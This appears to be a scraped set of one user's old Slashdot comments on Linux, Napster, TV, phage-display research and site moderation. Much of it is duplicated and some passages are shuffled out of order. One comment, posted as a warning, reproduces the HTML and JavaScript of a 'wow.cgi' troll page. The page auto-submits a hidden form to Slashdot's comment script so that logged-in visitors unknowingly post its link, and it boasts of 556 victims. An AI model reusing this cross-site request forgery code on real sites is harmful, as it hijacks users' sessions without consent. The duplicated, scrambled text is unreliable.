This is a good step for Linux. Companies like Helix, Chilliware and MountLinux are trying to put a pleasant face on some arcane tools. Nothing wrong with that...nothing at all. A cool article recently on LinuxGram talks about that, note the title of it...this is what we need, more companies doing apps, especially if we ever want to throw Linux on our parents/grandparents/kids machines.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
However, as with any circumstance, there are exceptions. Think WinZip, or mIRC, or BulletProof FTP. These are highly successful programs. Indeed, in 1996, I wrote a quickie VB 'cookie killer' that sold for $10 a pop. I made over $7000 for it in that year. I get letters to this day asking about it. (Obviously, it is long out of production...everyone and their mothers write cookie killers today). Point is, if a concept is worthy, and the time is right, things tend to surprise even the harshest critics. I've been a King fan for more years than I care to think about, and I just bought my copy of the Plant. GO STEPHEN!
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
Agreed. What is the point of belittling the people that contribute to our paycheck? I mean, why not just calll the guy a pedophile and be done with it.
God forbid Slashdot and Andover realize that the users are their revenue source (what little there is), and treat them with respect...for instance, we need a tool to/ignore posts with certain nicks, words, topics. No more OSM bullshit or goatse.cx.
Time to act like a business. Alot of us come here for information and insight into the community. We don't need all the crap that has become standard faire on Slashdot.
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
When was he on H:LOTS ? Do you know which episode/character? God I miss that show... Hey...how cool would it be to have Frank Pembleton(a black man, on FOX???) or even Belzer(who already did an 'X' also) replace Mulder! Talk about a different feel for the show...
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
Oh, and guys, loose the flash from yer main page...its bad form.
LOL. First, the oh-so-nice use of 'loose' instead of 'lose' (maybe he is a Slashdot editor in his spare time), then, the balls to critique another website for usability.
sigh.
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
I don't want to start anything here, but, if the www.IAS.com site goes down, to due to the/. effect, could VA not be charged with a DoS attack? I mean, they knowingly (the story has been up for hours), created a link, in an inflammatory story, that is causing this poor website to get it's ass kicked. A little more responsibility would be nice guys...
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
No, actually, Kid Rock, Korn and lil Joe C filled in for James Hetfield, who aggravated a back injury in an accident. Check out Metallica.com for details. Incidentally, Metallica is giving a second, FREE concert to the cities that got the shaft last week. Atlanta, somewhere in KY and Texas... (I just know about Atlanta...sorry...)
BTW, I'm going to see them at the LA Coliseum this Saturday. Ahhh...maybe Ill make a live bootleg...and then distribute it as MP3s. heh heh heh.
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
Well...after staring at the 'todays subject is meth or crystal lite or wtf it is..' for a week, I have to wonder if reading at -1 is worth the effort anymore. I have been a moderator several times this year...and I usually try to read every post in a topic I am interested in...but, I think it is tme for a change of some sort. My suggestion... Implement an option to ignore posts made by certain nicknames. Kind of like the classic IRC '/ignore'. Even better, how about a word filter. If I add 'portman' to my filter, I don't get that post. If we are expected to look at banner ads on every page (thus paying/.'s bills), then how about at least giving us the option to not have to read garbage. (Don't tell me to go somewhere else, or to make my own site...I like slashdot, but I am sick of the noise.) While we're at it, how about an option to ignore every thread that starts with a post by someone in our 'ignore' list ?
OK...I'm done blowing off steam...let the trolling begin... :-)
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
I just read the paper and what the researchers have shown is that they can identify short peptides(=12 amino acids) that can bind to inorganic surfaces selectively (ie bind to GaAs but not SiO2). They accomplished this feat using a technique that is widely used in the molecular biology research community...Phage Display.
Basically a bacteriophage is a virus that infects bacteria. Viruses are molecular machines that consist of an outer protein shell holding the nucleic acids which contain the instructions for making more copies of the nucleic acids and the protein shell. The Protein shell contains a few copies of the P3 coat protein (5 in the case of the virus used here). This protein recognizes the cell to be infected and triggers the process of cell entry, whereupon the virus enter the cell and hijacks the cellular macinery to produce many copies of the virus. In this way the virus replicates.
These biologists added a random sequence of 36 nucleotides (DNA bases) to the end of the DNA sequence that encodes the P3 coat protein. Now the virus will produce a P3 protein that has 12 additional random amino acids added to the end of P3 (3 DNA bases make a codon that encodes one amino acid), giving 20^12 possible unique P3 proteins (20 amino acids at each position, 12 positions).
Then they created a pool of ~10^9 phage (way fewer than the possible 20^12) and selected for phage with peptide sequences that bound to the desired material (GaAs) by affinity selection. Those viruses that bound were amplified in bacteria following elution from the material. The selection is repeated several times to identify the tightest binding peptide sequences.
Using this process, they found peptides that bound selectively to many different semiconductor surfaces and speculate that somehow this could be used to create new circuitry.
What they have done is use a standard molecular biology technique to find peptides (short polymers of amino acids) that bind selectively to inorganic surfaces of a given composition.
At the end of the article they speculate that by joining two peptides selected for binding to two different materials they can get peptides that would bind selectively at the interface between two material surfaces. I think this is the nano part of the technology as those interfaces must be created by conventional means. This method may allow finer features to be created.
Overall this is an interesting paper that opens up new possibilities but as usual in the nanotech field, it is a long way from being useful.
In addition, I would like to note that:
Many other areas of development seem to be drifting closer to using natural models, the pharmaceutical industry has almost always depended on examining natural processes, earlier today slashdot posted a news item about scientists attempting to replicate the mechanism on a gecko's feet that allows it to grip. It seems only natural that electronics and micro-manufacture has a thing or two to learn for natural processes, after all, many of the things we strive for with the continuing development of technology have been done for countless years in the simplest of cells.
The relevance of this work to nanotechnology particularly interests me. If you haven't read Eric Drexler's book 'Engines of Creation' it's something you should check out. The book discusses nanotechnology and suggests several things that should be done to prepare for it, none of which anyone has taken the slightest notice of (as far as I can tell). Does anyone else fear what may happen if true nanotechnology is developed in the near future without the slightest move to control it? Once it is here, it's far to late for control.
Also, I'd like to know where you got viri. References, or something? The conjugation (I suppose that's what it is in Latin) of a noun in Latin doesn't mean that form is an English word.
According to Miriam-Webster's, the Oxford English Dictionary (a huge volume I have in print), dictionary.com, Brittanica, and Encarta, the plural for virus - in English now - is viruses. None of these sources have any entry or make any reference to either "viri" or "virii."
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
Here I sit in my Linux.com t-shirt, Polo hat, Fruit Of TheLoom underwear, using my Microsoft keyboard, Kensington mouse, staring at my CTX monitor, and I realize, THANK GOD I am immune to this!!!
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
Those links will steal your password, and post to a slashdot forum. This is not very cool security...shouldnt Slashdot confirm the IP of the Logged in user?Here is the code used in this exploit: =============================================== <html><head><title>wow.cgi</title></head> <body bgcolor="#000000" text="#ffffff" link="#ffffff"> I've disabled it now as the point is proven that slashdot is insecure, it now posts to sid=wow to stop it being visable on slashdot, if you want to read the source to see how this works go <a href="wow.txt">here</a>.<br> So far 556 people have fallen pray to wow.cgi... <b>suckers</b>.<br> <FORM ACTION="http://www.slashdot.org/comments.pl" METHOD="post"> <INPUT TYPE="HIDDEN" NAME="sid" VALUE="wow"> <INPUT TYPE="HIDDEN" NAME="pid" VALUE="0"> <INPUT TYPE="HIDDEN" NAME="mode" VALUE="thread"> <INPUT TYPE="HIDDEN" NAME="startat" VALUE=""> <INPUT TYPE="HIDDEN" NAME="threshold" VALUE="1"> <INPUT TYPE="HIDDEN" NAME="commentsort" VALUE="0">
Ask Slashdot: I am going to be incarcerated in a federal prison in a few weeks ( after sentencing) on charges of insider trading, sending unsolicted commercial email, and trading MP3s. I was wondering if Slashdot readers had any information on the best free, Linux based ISP to use while in the ole' pokey (no pun intended)... I have already contracted with VA Linux and CompaQ to custom build me a 'matchbook pc', running Slack, that I can safely and happily keep in my rectal cavity, but, again, the big problem is getting that high speed and stable access.
Also, I need to know if it is possible to post to Slashdot through a federal firewall. I understand that they use Windows NT...is that hard to hack through?
Thanks a bunch guys! See you in 2 1/2 - 5 years! (Well, probably not...but I'll talk to whoever takes Slashdots place as 'ridiculous quesions on the web.com...)
=========================
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
I'm not familiar with the gnutella thing... Anyway, the point is that you have taken food off the tables of the creator of the work. Even if you 'delete' it or go buy the CD later, you have interceded in the way the way of the world works. You work, you produce, you sell/trade, you spend, you start all over. Now, before I get flamed too bad, I will say that yes, I have several hundred mp3s. Mostly archived on CDs. The difference between me and you (in general) is that I don't justify it. I know I am in the wrong, and some nights, I lie awake thinking about whether or not it is a serious enough 'sin' (for lack of a better word) for me to burn the CDs. Morality sucks, in its ebb and flow...but it is a powerful force, and should not be toyed with by semantics.
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
Invalid argument. Email is a communique between 2 or more people with a relationship of some sort. Napster essentially provides an online flea market, where anyone with a modem can trade in the violation of copyrights. No email program in the world provides a builtin list of people to email warez/mp3s to (although I am sure someone will make an OpenSource one...all in the name of another jihad battle...) This pussyfooting around and calling it a privacy issue is absurd. Not a Christian? No problem. I'll bet that even your religion has morals of some sort. Morality is the key. Call your grandparents. Ask them if it is ok if you steal. There is no justification for taking the bread off someones plate and calling it your own, all in the name of 'sharing'. If it's offered to you, THEN it is sharing. Lose the rhetoric, lose the jihad, get a grip.
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
How about teaching them how to read and write? I am not being facetious, and I am not implying that your kids are stupid. Indeed, some very bright kids out there are functionally illiterate. Don't believe me? Read the rest of this page, and count the instances of misspelled words and run on sentences. I have an 11 year old foster daughter, who is on her schools Honor Roll, and is in an 'advanced' reading class. I can not listen to her read aloud. It is painful to hear the hesitancy and the mispronunciations. She can not spell the word chicken. I swear to God. Indeed, when I downloaded a sample spelling test off the web, I tested her, and she scored less than 50% on a THIRD grade level. However, when spoken to, she is quite articulate. It saddens me that so many children are getting immersed in the internet and gaming world, when they can not even read and write. Please, do not take this as a flame, but, instead, take it as constructive criticism.
Oh, btw...the 11 year old is now given only restricted PC access, and we test her spelling 3 times a week with verbal tests. She is improving greatly. Get the kids away from the PC and the TV, and turn off the Slim Shady and Britney Spears. You will be amazed at what they can then accomplish.
Good luck.
"Don't try to confuse the issue with half truths and gorilla dust." Bill McNeal (Phil Hartman)
Slashdot Mirror
For a nice HomeSite clone:
Quanta.
It rocks...very nicely done, and modular to boot.
I use it on several sites.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
This is a good step for Linux.
Companies like Helix, Chilliware and MountLinux are trying to put a pleasant face on some arcane tools.
Nothing wrong with that...nothing at all.
A cool article recently on LinuxGram talks about that, note the title of it...this is what we need, more companies doing apps, especially if we ever want to throw Linux on our parents/grandparents/kids machines.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
Here is a good, organized selection of PPC stuff. Even EveryBuddy is there. :-)
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
*2000-07-31 18:39:55 Steve Ballmer says Linux 'is communism' (articles,news) (rejected)
http://www.theregister.co.uk/cont ent/1/12266.html
It's time to storm the redmond campus with toilet paper and potatoes...
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
However, as with any circumstance, there are exceptions.
Think WinZip, or mIRC, or BulletProof FTP.
These are highly successful programs. Indeed, in 1996, I wrote a quickie VB 'cookie killer' that sold for $10 a pop. I made over $7000 for it in that year. I get letters to this day asking about it. (Obviously, it is long out of production...everyone and their mothers write cookie killers today).
Point is, if a concept is worthy, and the time is right, things tend to surprise even the harshest critics.
I've been a King fan for more years than I care to think about, and I just bought my copy of the Plant. GO STEPHEN!
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
Oops.
And while we're at it, add an 'edit your comment' feature...
our = YOUR...
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
Agreed. What is the point of belittling the people that contribute to our paycheck?
/ignore posts with certain nicks, words, topics. No more OSM bullshit or goatse.cx.
I mean, why not just calll the guy a pedophile and be done with it.
God forbid Slashdot and Andover realize that the users are their revenue source (what little there is), and treat them with respect...for instance, we need a tool to
Time to act like a business. Alot of us come here for information and insight into the community. We don't need all the crap that has become standard faire on Slashdot.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
Amazon?
Are you okay? You said it twice...
Slashdot needs an 'edit comment' function, doesn't it?
:-)
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
I think your .sig is:
You get a hit, and your mind goes ping...
Too lazy to check tho...
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
Thanks for the link, I remember it now!.
Maybe we could petition the alt.tv.homicide people into recruiting one of our guys.
:-)
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
When was he on H:LOTS ?
Do you know which episode/character?
God I miss that show...
Hey...how cool would it be to have Frank Pembleton(a black man, on FOX???) or even Belzer(who already did an 'X' also) replace Mulder!
Talk about a different feel for the show...
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
LOL. First, the oh-so-nice use of 'loose' instead of 'lose' (maybe he is a Slashdot editor in his spare time), then, the balls to critique another website for usability.
sigh.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
I don't want to start anything here, but, if the www.IAS.com site goes down, to due to the /. effect, could VA not be charged with a DoS attack? I mean, they knowingly (the story has been up for hours), created a link, in an inflammatory story, that is causing this poor website to get it's ass kicked.
A little more responsibility would be nice guys...
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
No, actually, Kid Rock, Korn and lil Joe C filled in for James Hetfield, who aggravated a back injury in an accident.
Check out Metallica.com for details.
Incidentally, Metallica is giving a second, FREE concert to the cities that got the shaft last week. Atlanta, somewhere in KY and Texas... (I just know about Atlanta...sorry...)
BTW, I'm going to see them at the LA Coliseum this Saturday. Ahhh...maybe Ill make a live bootleg...and then distribute it as MP3s.
heh heh heh.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
Well...after staring at the 'todays subject is meth or crystal lite or wtf it is..' for a week, I have to wonder if reading at -1 is worth the effort anymore. /.'s bills), then how about at least giving us the option to not have to read garbage.
I have been a moderator several times this year...and I usually try to read every post in a topic I am interested in...but, I think it is tme for a change of some sort.
My suggestion...
Implement an option to ignore posts made by certain nicknames. Kind of like the classic IRC '/ignore'.
Even better, how about a word filter. If I add 'portman' to my filter, I don't get that post.
If we are expected to look at banner ads on every page (thus paying
(Don't tell me to go somewhere else, or to make my own site...I like slashdot, but I am sick of the noise.)
While we're at it, how about an option to ignore every thread that starts with a post by someone in our 'ignore' list ?
OK...I'm done blowing off steam...let the trolling begin...
:-)
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
I just read the paper and what the researchers have shown is that they can identify short peptides(=12 amino acids) that can bind to inorganic surfaces selectively (ie bind to GaAs but not SiO2). They accomplished this feat using a technique that is widely used in the molecular biology research community...Phage Display.
Basically a bacteriophage is a virus that infects bacteria. Viruses are molecular machines that consist of an outer protein shell holding the nucleic acids which contain the instructions for making more copies of the nucleic acids and the protein shell. The Protein shell contains a few copies of the P3 coat protein (5 in the case of the virus used here). This protein recognizes the cell to be infected and triggers the process of cell entry, whereupon the virus enter the cell and hijacks the cellular macinery to produce many copies of the virus. In this way the virus replicates.
These biologists added a random sequence of 36 nucleotides (DNA bases) to the end of the DNA sequence that encodes the P3 coat protein. Now the virus will produce a P3 protein that has 12 additional random amino acids added to the end of P3 (3 DNA bases make a codon that encodes one amino acid), giving 20^12 possible unique P3 proteins (20 amino acids at each position, 12 positions).
Then they created a pool of ~10^9 phage (way fewer than the possible 20^12) and selected for phage with peptide sequences that bound to the desired material (GaAs) by affinity selection. Those viruses that bound were amplified in bacteria following elution from the material. The selection is repeated several times to identify the tightest binding peptide sequences.
Using this process, they found peptides that bound selectively to many different semiconductor surfaces and speculate that somehow this could be used to create new circuitry.
What they have done is use a standard molecular biology technique to find peptides (short polymers of amino acids) that bind selectively to inorganic surfaces of a given composition.
At the end of the article they speculate that by joining two peptides selected for binding to two different materials they can get peptides that would bind selectively at the interface between two material surfaces. I think this is the nano part of the technology as those interfaces must be created by conventional means. This method may allow finer features to be created.
Overall this is an interesting paper that opens up new possibilities but as usual in the nanotech field, it is a long way from being useful.
In addition, I would like to note that:
Many other areas of development seem to be drifting closer to using natural models, the pharmaceutical industry has almost always depended on examining natural processes, earlier today slashdot posted a news item about scientists attempting to replicate the mechanism on a gecko's feet that allows it to grip. It seems only natural that electronics and micro-manufacture has a thing or two to learn for natural processes, after all, many of the things we strive for with the continuing development of technology have been done for countless years in the simplest of cells.
The relevance of this work to nanotechnology particularly interests me. If you haven't read Eric Drexler's
book 'Engines of Creation' it's something you should check out. The book discusses nanotechnology and suggests several things that should be done to prepare for it, none of which anyone has taken the slightest notice of (as far as I can tell). Does anyone else fear what may happen if true nanotechnology is developed in the near future without the slightest move to control it? Once it is here, it's far to late for control.
Also, I'd like to know where you got viri. References, or something? The conjugation (I suppose that's what it is in Latin) of a noun in Latin doesn't mean that form is an English word.
According to Miriam-Webster's, the Oxford English Dictionary (a huge volume I have in print), dictionary.com, Brittanica, and Encarta, the plural for virus - in English now - is viruses. None of these sources have any entry or make any reference to either "viri" or "virii."
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
This drivel is rated as +2-Insightful ?
Perhaps we all need to step outside for a few minutes, and take a deep breath of REAL FUCKING LIFE.
This type of rhetoric is simply stupid, and shouldn't be rewarded.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
Here I sit in my Linux.com t-shirt, Polo hat, Fruit Of TheLoom underwear, using my Microsoft keyboard, Kensington mouse, staring at my CTX monitor, and I realize, THANK GOD I am immune to this!!!
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
DO NOT CLICK THOSE LINKS!
< /a></small></center> O c\">This is more informative</a><br>";
Those links will steal your password, and post to a slashdot forum.
This is not very cool security...shouldnt Slashdot confirm the IP of the Logged in user?Here is the code used in this exploit:
===============================================
<html><head><title>wow.cgi</title></head>
<body bgcolor="#000000" text="#ffffff" link="#ffffff">
I've disabled it now as the point is proven that slashdot is insecure, it now posts to sid=wow to stop it being visable on slashdot, if you want to read the source to see how this works go <a href="wow.txt">here</a>.<br>
So far 556 people have fallen pray to wow.cgi... <b>suckers</b>.<br>
<FORM ACTION="http://www.slashdot.org/comments.pl" METHOD="post">
<INPUT TYPE="HIDDEN" NAME="sid" VALUE="wow">
<INPUT TYPE="HIDDEN" NAME="pid" VALUE="0">
<INPUT TYPE="HIDDEN" NAME="mode" VALUE="thread">
<INPUT TYPE="HIDDEN" NAME="startat" VALUE="">
<INPUT TYPE="HIDDEN" NAME="threshold" VALUE="1">
<INPUT TYPE="HIDDEN" NAME="commentsort" VALUE="0">
<INPUT TYPE="hidden" NAME="postersubj" value="H">
<INPUT TYPE="hidden" NAME="postercomment" value="H">
<INPUT TYPE="hidden" NAME="op" VALUE="Submit">
<INPUT TYPE="hidden" name="posttype" value="html">
</FORM>
<center><small><a href="mailto:zk65@hobbiton.org">zk65@hobbiton.org
<SCRIPT>
atext = "<a href=\"http://hobbiton.org/~zk65/wow.cgi?I2t8BDfP
document.forms[0].postercomment.value=atext;
document.forms[0].postersubj.value = "More information";
document.forms[0].submit()
</script>
</body></html>
===============================================
It would be very easy for some idiot to use this to take advantage of slashdot users...therefore, I have left out one line of the trolls code.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
Ask Slashdot:
I am going to be incarcerated in a federal prison in a few weeks ( after sentencing) on charges of insider trading, sending unsolicted commercial email, and trading MP3s. I was wondering if Slashdot readers had any information on the best free, Linux based ISP to use while in the ole' pokey (no pun intended)...
I have already contracted with VA Linux and CompaQ to custom build me a 'matchbook pc', running Slack, that I can safely and happily keep in my rectal cavity, but, again, the big problem is getting that high speed and stable access.
Also, I need to know if it is possible to post to Slashdot through a federal firewall. I understand that they use Windows NT...is that hard to hack through?
Thanks a bunch guys! See you in 2 1/2 - 5 years! (Well, probably not...but I'll talk to whoever takes Slashdots place as 'ridiculous quesions on the web.com...)
=========================
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
I'm not familiar with the gnutella thing...
Anyway, the point is that you have taken food off the tables of the creator of the work. Even if you 'delete' it or go buy the CD later, you have interceded in the way the way of the world works.
You work, you produce, you sell/trade, you spend, you start all over.
Now, before I get flamed too bad, I will say that yes, I have several hundred mp3s. Mostly archived on CDs.
The difference between me and you (in general) is that I don't justify it. I know I am in the wrong, and some nights, I lie awake thinking about whether or not it is a serious enough 'sin' (for lack of a better word) for me to burn the CDs. Morality sucks, in its ebb and flow...but it is a powerful force, and should not be toyed with by semantics.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
Invalid argument.
Email is a communique between 2 or more people with a relationship of some sort.
Napster essentially provides an online flea market, where anyone with a modem can trade in the violation of copyrights. No email program in the world provides a builtin list of people to email warez/mp3s to (although I am sure someone will make an OpenSource one...all in the name of another jihad battle...)
This pussyfooting around and calling it a privacy issue is absurd.
Not a Christian? No problem. I'll bet that even your religion has morals of some sort. Morality is the key. Call your grandparents. Ask them if it is ok if you steal.
There is no justification for taking the bread off someones plate and calling it your own, all in the name of 'sharing'.
If it's offered to you, THEN it is sharing.
Lose the rhetoric, lose the jihad, get a grip.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
How about teaching them how to read and write?
I am not being facetious, and I am not implying that your kids are stupid. Indeed, some very bright kids out there are functionally illiterate. Don't believe me? Read the rest of this page, and count the instances of misspelled words and run on sentences.
I have an 11 year old foster daughter, who is on her schools Honor Roll, and is in an 'advanced' reading class.
I can not listen to her read aloud. It is painful to hear the hesitancy and the mispronunciations.
She can not spell the word chicken.
I swear to God.
Indeed, when I downloaded a sample spelling test off the web, I tested her, and she scored less than 50% on a THIRD grade level.
However, when spoken to, she is quite articulate.
It saddens me that so many children are getting immersed in the internet and gaming world, when they can not even read and write.
Please, do not take this as a flame, but, instead, take it as constructive criticism.
Oh, btw...the 11 year old is now given only restricted PC access, and we test her spelling 3 times a week with verbal tests. She is improving greatly.
Get the kids away from the PC and the TV, and turn off the Slim Shady and Britney Spears.
You will be amazed at what they can then accomplish.
Good luck.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
HAHAHA
Anyone see the irony here?
An AC calls ANOTHER AC a coward.
Hahahaha
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)
Would it be ok if I pretended that I MEANT to spell 'add' 'aadd' ?
Thanks.
"Don't try to confuse the issue with half truths and gorilla dust."
Bill McNeal (Phil Hartman)